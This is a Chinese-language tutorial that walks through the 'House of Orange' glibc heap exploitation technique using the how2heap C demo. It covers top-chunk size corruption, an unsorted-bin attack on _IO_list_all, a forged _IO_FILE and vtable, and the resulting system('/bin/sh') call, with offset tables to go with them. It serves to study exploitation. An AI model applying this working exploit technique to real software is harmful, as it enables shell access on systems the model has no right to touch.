House of Orange

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    fprintf(stderr, "首先 malloc 一块 0x400 大小的 chunk\n");
    p1 = malloc(0x400-16);
    fprintf(stderr, "假设存在堆溢出，把 top chunk 的 size 给改为一个比较小的 0xc01\n");
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    fprintf(stderr, "再去 malloc 一个挺大的 chunk 的时候，因为 top chunk 不够大所以会把现在的 top chunk 给 free 掉，我们称它为 old top chunk\n");
    p2 = malloc(0x1000);
    fprintf(stderr, "这时候 top[2] 跟 top[3] 是 unsortedbin 的地址了，然后 _IO_list_all 跟 unsortedbin 的偏移是 0x9a8，计算得到 _IO_list_all\n");
    io_list_all = top[2] + 0x9a8;
    fprintf(stderr, "设置 old top chunk 的 bk 指针为 io_list_all - 0x10 待会进行 unsortedbin attack，把 _IO_list_all 改为 unsortedbin 的地址\n");
    top[3] = io_list_all - 0x10;
    fprintf(stderr, "将字符串/bin/sh放到 old top chunk 的开头，并且把 size 改为 0x61，这里改为 0x61 是因为这个大小属于 smallbin[4]，它与 unsortedbin 的偏移，跟 _chain 与 io_list_all 的偏移一样\n");
    memcpy( ( char *) top, "/bin/sh\x00", 8);
    top[1] = 0x61;
    _IO_FILE *fp = (_IO_FILE *) top;
    fprintf(stderr, "后面就是为了满足一些检查了，包括：fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr\n");
    fp->_mode = 0;
    fp->_IO_write_base = (char *) 2;
    fp->_IO_write_ptr = (char *) 3;
    fprintf(stderr, "然后定位到 jump_table[3] 也就是 _IO_OVERFLOW 改为 system 函数的地址\n");
    size_t *jump_table = ⊤[12];
    jump_table[3] = (size_t) &winner;
	fprintf(stderr, "最后把 io_list_all 的 vatble 改为我们想让他找的那个 jump_table，然后去 malloc 一个触发就可以了\n");
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
    malloc(10);
    return 0;
}

int winner(char *ptr)
{
    system(ptr);
    return 0;
}

一开始申请了一个 chunk，此时 top chunk 的 size 是 0x20c00

假设有个溢出的漏洞，可以把 top chunk 的 size 给修改掉，改成一个小的数

再去 malloc 一个比较大的数的时候，原本的 top chunk 不够分给它的，所以就会被放到 unsorted bin 中，可以看到 fd、bk 被改成了 unsorted bin 的地址

然后 unsorted bin 的地址跟 _IO_list_all 的地址偏移是 0x9a8，可以得到 _IO_list_all 的地址

修改掉 unsortedbin 的 bk 指针，等到 malloc 的时候利用 unsortedbin attack 把 _IO_list_all 改为 unsorted bin 的地址，然后把 old top chunk 写上 ‘/bin/sh’ 并且去修改掉 old top chunk 的 size 为 0x61，为啥改为这个大小后面会说

然后对 old top chunk 进行修改去满足检查条件

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2
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fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;

然后把 jump_table 指向 ⊤[12]，再把 jump_table[3] 改为我们想要执行的那个函数的地址，然后让 vtable 指向 jump_table

1
2
3

size_t *jump_table = ⊤[12];
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;

因为 unsorted bin 被改掉了当 malloc 的时候会出错，会依次调用 malloc_printerr、 __libc_message、abort()、_IO_flush_all_lockp()，在调用 _IO_flush_all_lockp() 的时候需要在 vtable 中找 _IO_OVERFLOW，而 _IO_OVERFLOW 我们已经覆盖掉为 winner 的地址了，而早在之前我们就把前面写上了 ‘/bin/sh’ 这样就可以达到执行 system(‘/bin/sh’) 了

害，其实就是这样的：通过 unsorted bin attack 把 _IO_list_all 改成 unsorted bin 的地址，然后因为我们把 old top chunk 的 size 改为了 0x61 属于 smallbin，恰好这个大小的 smallbin 相对 unsorted bin 的偏移与 _chain 相对 _IO_list_all 的偏移是一样的

（感觉不太准确，但大概是这么个意思）

而通过 unsorted bin attack 我们把 _IO_list_all 改成了 unsorted bin 的地址，这样 _chain 指向的就是 old top chunk 的地址了
我们的那些伪造的操作也是在 old top chunk 上做的，我对 how2heap 的代码做了点替换，对着下面的图片与偏移更容易理解是怎么伪造的

//fp->_mode = 0;
top[24] = 0;
//fp->_IO_write_base = (char *) 2;
top[4]=(char *)2;
//fp->_IO_write_ptr = (char *) 3;
top[5]=(char *)3;
//size_t *jump_table = ⊤[12];
//jump_table[3] = (size_t) &winner;
top[15]=(size_t) &winner;
//*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
top[27]= (size_t) ⊤[12];

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

IO_jump_t *vtable:

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

参考：https://bbs.pediy.com/thread-223334.htm
https://nightrainy.github.io/2020/02/02/how2heap%E6%80%BB%E7%BB%93%E8%AE%A1%E5%88%92%E4%B8%83/

House of Orange

谢谢大爷~